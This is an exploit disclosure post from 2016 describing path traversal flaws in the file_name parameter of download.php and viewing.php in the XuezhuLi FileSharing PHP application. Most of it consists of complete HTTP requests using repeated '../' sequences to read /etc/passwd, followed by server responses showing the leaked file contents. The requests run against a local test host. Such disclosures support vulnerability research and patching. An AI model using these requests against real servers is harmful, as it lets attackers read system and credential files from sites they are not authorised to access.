XuezhuLi FileSharing Path Traversal
Posted on 23 June 2016
# Exploit Title: XuezhuLi FileSharing - Path Traversal Vulnerability # Date: 2016-06-23 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: https://github.com/XuezhuLi # Software Link: https://github.com/XuezhuLi/FileSharing/archive/master.zip # Version: Latest commit # Tested on: Debian [wheezy] ### Vulnerability 1. download.php -> file_name parameter 2. viewing.php -> file_name parameter ### Vulnerability 1 - download.php GET /vul_test/FileSharing/download.php?file_name=../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/vul_test/FileSharing/userpage.php Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; __utma=96992031.1679083892.1466384142.1466384142.1466398535.2; __utmz=96992031.1466384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=1%7C25; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1466565345; bdshare_firstime=1466565462740; PHPSESSID=uetimns4scbtk46c8m6ab7upp1 Connection: keep-alive HTTP/1.1 200 OK Date: Thu, 23 Jun 2016 06:17:58 GMT ..snip.. Content-Type: application/octet-stream root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync # ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ### Vulnerability 2 - viewing.php GET /vul_test/FileSharing/viewing.php?file_name=../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/vul_test/FileSharing/userpage.php Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; __utma=96992031.1679083892.1466384142.1466384142.1466398535.2; __utmz=96992031.1466384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=1%7C25; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1466565345; bdshare_firstime=1466565462740; PHPSESSID=uetimns4scbtk46c8m6ab7upp1 Connection: keep-alive HTTP/1.1 200 OK Date: Thu, 23 Jun 2016 06:19:49 GMT Server: Apache/2.4.10 (Ubuntu) ..snip.. Content-Type: text/plain;charset=UTF-8 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
